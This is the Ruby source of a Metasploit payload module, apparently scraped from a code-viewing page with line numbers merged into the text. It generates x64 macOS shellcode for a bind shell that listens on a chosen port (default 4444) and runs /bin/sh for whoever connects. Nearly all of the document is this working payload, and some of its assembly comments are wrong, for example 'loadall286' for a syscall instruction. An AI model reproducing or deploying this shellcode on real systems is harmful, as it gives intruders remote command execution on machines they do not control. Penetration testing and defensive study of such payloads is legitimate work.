Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/osx/x64/shell_bind_tcp.rb
Views: 11779
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = 136910include Msf::Payload::Single11include Msf::Payload::Osx12include Msf::Sessions::CommandShellOptions1314def initialize(info = {})15super(merge_info(info,16'Name' => 'OS X x64 Shell Bind TCP',17'Description' => 'Bind an arbitrary command to an arbitrary port',18'Author' => 'nemo <nemo[at]felinemenace.org>',19'License' => MSF_LICENSE,20'Platform' => 'osx',21'Arch' => ARCH_X64,22'Handler' => Msf::Handler::BindTcp,23'Session' => Msf::Sessions::CommandShellUnix24))2526# exec payload options27register_options(28[29OptString.new('CMD', [ true, "The command string to execute", "/bin/sh" ]),30Opt::LPORT(4444)31])32end3334# build the shellcode payload dynamically based on the user-provided CMD35def generate(_opts = {})36cmd = (datastore['CMD'] || '') + "\x00"37port = [datastore['LPORT'].to_i].pack('n')38call = "\xe8" + [cmd.length].pack('V')39payload =40"\xB8\x61\x00\x00\x02" + # mov eax,0x200006141"\x6A\x02" + # push byte 0x142"\x5f" + # pop rdi43"\x6A\x01" + # push byte 0x144"\x5e" + # pop rsi45"\x48\x31\xD2" + # xor rdx,rdx46"\x0F\x05" + # loadall28647"\x48\x89\xC7" + # mov rdi,rax48"\xB8\x68\x00\x00\x02" + # mov eax,0x200006849"\x48\x31\xF6" + # xor rsi,rsi50"\x56" + # push rsi51"\xBE\x00\x02" + port + # mov esi,0xb315020052"\x56" + # push rsi53"\x48\x89\xE6" + # mov rsi,rsp54"\x6A\x10" + # push 0x1055"\x5A" + # pop rdx56"\x0F\x05" + # loadall28657"\xB8\x6A\x00\x00\x02" + # mov eax,0x200006a58"\x48\x31\xF6" + # xor rsi,rsi59"\x48\xFF\xC6" + # inc rsi60"\x49\x89\xFC" + # mov r12,rdi61"\x0F\x05" + # loadall28662"\xB8\x1E\x00\x00\x02" + # mov eax,0x200001e63"\x4C\x89\xE7" + # mov rdi,r1264"\x48\x89\xE6" + # mov rsi,rsp65"\x48\x89\xE2" + # mov rdx,rsp66"\x48\x83\xEA\x04" + # sub rdx,byte +0x467"\x0F\x05" + # loadall28668"\x48\x89\xC7" + # mov rdi,rax69"\xB8\x5A\x00\x00\x02" + # mov eax,0x200005a70"\x48\x31\xF6" + # xor rsi,rsi71"\x0F\x05" + # loadall28672"\xB8\x5A\x00\x00\x02" + # mov eax,0x200005a73"\x48\xFF\xC6" + # inc rsi74"\x0F\x05" + # loadall28675"\x48\x31\xC0" + # xor rax,rax76"\xB8\x3B\x00\x00\x02" + # mov eax,0x200003b77call + # call CMD.len78cmd + # CMD79"\x48\x8b\x3c\x24" + # mov rdi, [rsp]80"\x48\x31\xD2" + # xor rdx,rdx81"\x52" + # push rdx82"\x57" + # push rdi83"\x48\x89\xE6" + # mov rsi,rsp84"\x0F\x05" # loadall28685end86end878889